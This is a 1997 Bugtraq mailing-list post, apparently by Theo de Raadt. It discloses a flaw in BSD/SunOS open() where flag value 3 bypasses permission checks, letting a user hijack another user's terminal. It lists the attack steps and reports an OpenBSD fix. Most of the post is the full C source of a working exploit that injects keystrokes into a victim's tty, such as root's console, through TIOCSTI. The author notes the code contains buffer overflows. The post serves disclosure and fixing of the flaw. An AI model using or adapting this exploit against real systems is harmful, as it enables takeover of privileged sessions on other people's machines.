Bugtraq mailing list archives

Re: Possible SERIOUS bug in open()?


From: deraadt () CVS OPENBSD ORG (Theo de Raadt)
Date: Fri, 24 Oct 1997 17:47:16 -0600


This is a variant of a bug Theo de Raadt found in SunOS back in the 1980s.
The basic issue is that the code that guards access to the device-specific
open() routine checks explicitly for FREAD, FWRITE, and O_TRUNC, and
passes the call through if none of these are set. Theo's bug involved
using "3" for the open() flag.

The bug worked in SunOS 4.0 and 4.1, and if I remember correctly it
was fixed in 4.1.3.  What you basically did was this:

- lose your tty association
- open the console device you want to attack (ie. say, root is
  logged into the console)
- fd = open("/dev/console", 3); close(fd);
- now you have just gained tty association.
- fd = open("/dev/tty", O_RDWR).  This is the same as having opened
  /dev/console, but this time I have permission to read & write.
- ioctl(fd, TIOCSTI, &c) ...

Of course, TIOCSTI simulates console input.

That this basic bug is still around is pretty dissapointing.  I
reported the bug to Sun, but I guess they never told anyone else about
it, and hence it did not get fixed in the standard BSD code.

I'm a little dissapointed in myself for not having looked to see if
this bug still existed.  Of course, the routed problems still exist
too, and that bug is about as old. I fixed it in OpenBSD yesterday.

Any vn_open() with FREAD|FWRITE == 0 fails with EINVAL.

here's the program I wrote a VERY VERY long time ago.  (Neato, it has
some little buffer overflows in it ;-)

----------------------------------------

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <stdio.h>

#define ECHAR ((unsigned char)0x1d)

unsigned char tty[80];
int fd, p[2];;
int v = 1, sc = 1;

/* ----------------------------------------------------------------------
 * MAIN:
 * ------------------------------------------------------------------- */
main(argc, argv)
int argc;
char **argv;
{
    int i, j, x;
    unsigned char c;

    if( argc<2 ) {
        fprintf(stderr, "Usage: %s [-v] tty\n", argv[0]);
        exit(0);
    }

    if( !strcmp(argv[1], "-v") ) {
        sprintf(tty, "/dev/%s", argv[2]);
        v = 1;
    } else sprintf(tty, "/dev/%s", argv[1]);

    printf("The escape character is ^]\n");
    status(0);

    pipe(p);
    if( fork() == 0) {
        close(p[1]);

        x = getpgrp(0);
        signal(SIGTTIN, SIG_IGN);
        signal(SIGTTOU, SIG_IGN);

        ioctl(open("/dev/tty",0), TIOCNOTTY, 0);
        if( open(tty, 3) <0)
            open(tty, O_WRONLY);
        fd = open("/dev/tty", 2);
        setpgrp(0,x);

        while(1) {
            x = read(p[0], &c, 1);
            if(x==1) ioctl(fd, TIOCSTI, &c);
            if(x==0) exit();
        }

    } else {
        close(p[0]);                                            /* me */
        echo(0);

        while( read(0, &c, 1) == 1) {
            c &= 0x7f;          /* kill parity bit */
            if(c==ECHAR) {
                if( read(0, &c, 1) == 1) switch( c&0x7f ) {
                    case 'q':
                    case 'Q':   die();
                                break;
                    case 'c':
                    case 'C':   sc = !sc;
                                status(1);
                                break;
                    case 'v':
                    case 'V':   v = !v;
                                status(1);
                                break;
                    case 's':
                    case 'S':   status(1);
                                break;
                    case '?':
                    case 'h':
                    case 'H':   status(1);
                                printf("\n\r? - this screen\n\r");
                                printf("q - quit\n\r");
                                printf("v - verbose\n\r");
                                printf("c - control characters\n\r");
                                printf("s - status\n\r");
                                break;
                    default:    send(ECHAR);
                                send(c);
                                break;
                    }
                else die();
            } else send(c);
        }
        die();
    }
}

/* ----------------------------------------------------------------------
 * SEND:
 * ------------------------------------------------------------------- */
send(c)
unsigned char c;
{
    unsigned char c2;

    c &= 0x7f;
    write(p[1], &c, 1);
    if(v) {
        if( c==' ' || c=='\t' ) {               /* tab and space */
            write(1, &c, 1);
        } else if( c=='\r' || c=='\n' ) {       /* return */
            write(1, "\r\n", 2);
        } else if( c<' ' ) {                    /* control characters */
            if(sc) {
                write(1, "^", 1);
                c2 = c & 0x7f | 0x40;
                write(1, &c2, 1);
            }
        } else {                                /* normal characters */
            write(1, &c, 1);
        }
    }
}

/* ----------------------------------------------------------------------
 * ECHO:
 * ------------------------------------------------------------------- */
echo(n)
int n;
{
    struct sgttyb ttyb;

    ioctl(0, TIOCGETP, &ttyb);
    if(n) ttyb.sg_flags = (ttyb.sg_flags | ECHO) & ~RAW;
    else ttyb.sg_flags = (ttyb.sg_flags & ~ECHO) | RAW;
    ioctl(1, TIOCSETP, &ttyb);
}

/* ----------------------------------------------------------------------
 * DIE:
 * ------------------------------------------------------------------- */
die()
{
    echo(1);
    exit(0);
}

status(x)
int x;
{
    if(x) printf("\n\r");
    printf("verbose:%d control:%d\n\r", v, sc);
}



Current thread: